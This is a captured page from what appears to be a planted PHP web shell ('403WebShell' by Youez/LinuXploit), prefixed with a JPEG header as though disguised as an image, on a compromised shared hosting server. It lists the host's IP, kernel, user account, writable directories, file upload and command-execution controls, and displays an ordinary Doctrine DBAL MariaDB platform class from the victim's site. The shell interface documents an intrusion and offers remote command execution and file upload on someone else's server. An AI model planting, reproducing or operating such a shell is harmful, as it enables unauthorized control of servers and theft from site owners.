����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 18.220.9.72
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/bofirm.gltechlimited.com/vendor/doctrine/dbal/src/Platforms/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/bofirm.gltechlimited.com/vendor/doctrine/dbal/src/Platforms/MariaDb1043Platform.php
<?php

namespace Doctrine\DBAL\Platforms;

use Doctrine\DBAL\Types\JsonType;

use function sprintf;

/**
 * Provides the behavior, features and SQL dialect of the MariaDB 10.4 (10.4.6 GA) database platform.
 *
 * Extend deprecated MariaDb1027Platform to ensure correct functions used in MySQLSchemaManager which
 * tests for MariaDb1027Platform not MariaDBPlatform.
 *
 * @deprecated This class will be merged with {@see MariaDBPlatform} in 4.0 because support for MariaDB
 *             releases prior to 10.4.3 will be dropped.
 */
class MariaDb1043Platform extends MariaDb1027Platform
{
    /**
     * Use JSON rather than LONGTEXT for json columns. Since it is not a true native type, do not override
     * hasNativeJsonType() so the DC2Type comment will still be set.
     *
     * {@inheritDoc}
     */
    public function getJsonTypeDeclarationSQL(array $column): string
    {
        return 'JSON';
    }

    /**
     * {@inheritDoc}
     *
     * From version 10.4.3, MariaDb aliases JSON to LONGTEXT and adds a constraint CHECK (json_valid). Reverse
     * this process when introspecting tables.
     *
     * @see https://mariadb.com/kb/en/information-schema-check_constraints-table/
     * @see https://mariadb.com/kb/en/json-data-type/
     * @see https://jira.mariadb.org/browse/MDEV-13916
     */
    public function getListTableColumnsSQL($table, $database = null): string
    {
        [$columnTypeSQL, $joinCheckConstraintSQL] = $this->getColumnTypeSQLSnippets();

        return sprintf(
            <<<SQL
            SELECT c.COLUMN_NAME AS Field,
                   $columnTypeSQL AS Type,
                   c.IS_NULLABLE AS `Null`,
                   c.COLUMN_KEY AS `Key`,
                   c.COLUMN_DEFAULT AS `Default`,
                   c.EXTRA AS Extra,
                   c.COLUMN_COMMENT AS Comment,
                   c.CHARACTER_SET_NAME AS CharacterSet,
                   c.COLLATION_NAME AS Collation
            FROM information_schema.COLUMNS c
                $joinCheckConstraintSQL
            WHERE c.TABLE_SCHEMA = %s
            AND c.TABLE_NAME = %s
            ORDER BY ORDINAL_POSITION ASC;
            SQL
            ,
            $this->getDatabaseNameSQL($database),
            $this->quoteStringLiteral($table),
        );
    }

    /**
     * Generate SQL snippets to reverse the aliasing of JSON to LONGTEXT.
     *
     * MariaDb aliases columns specified as JSON to LONGTEXT and sets a CHECK constraint to ensure the column
     * is valid json. This function generates the SQL snippets which reverse this aliasing i.e. report a column
     * as JSON where it was originally specified as such instead of LONGTEXT.
     *
     * The CHECK constraints are stored in information_schema.CHECK_CONSTRAINTS so JOIN that table.
     *
     * @return array{string, string}
     */
    public function getColumnTypeSQLSnippets(string $tableAlias = 'c'): array
    {
        if ($this->getJsonTypeDeclarationSQL([]) !== 'JSON') {
            return parent::getColumnTypeSQLSnippets($tableAlias);
        }

        $columnTypeSQL = <<<SQL
            IF(
                x.CHECK_CLAUSE IS NOT NULL AND $tableAlias.COLUMN_TYPE = 'longtext',
                'json',
                $tableAlias.COLUMN_TYPE
            )
        SQL;

        $joinCheckConstraintSQL = <<<SQL
        LEFT JOIN information_schema.CHECK_CONSTRAINTS x
            ON (
                $tableAlias.TABLE_SCHEMA = x.CONSTRAINT_SCHEMA
                AND $tableAlias.TABLE_NAME = x.TABLE_NAME
                AND x.CHECK_CLAUSE = CONCAT('json_valid(`', $tableAlias.COLUMN_NAME , '`)')
            )
        SQL;

        return [$columnTypeSQL, $joinCheckConstraintSQL];
    }

    /** {@inheritDoc} */
    public function getColumnDeclarationSQL($name, array $column)
    {
        // MariaDb forces column collation to utf8mb4_bin where the column was declared as JSON so ignore
        // collation and character set for json columns as attempting to set them can cause an error.
        if ($this->getJsonTypeDeclarationSQL([]) === 'JSON' && ($column['type'] ?? null) instanceof JsonType) {
            unset($column['collation']);
            unset($column['charset']);
        }

        return parent::getColumnDeclarationSQL($name, $column);
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit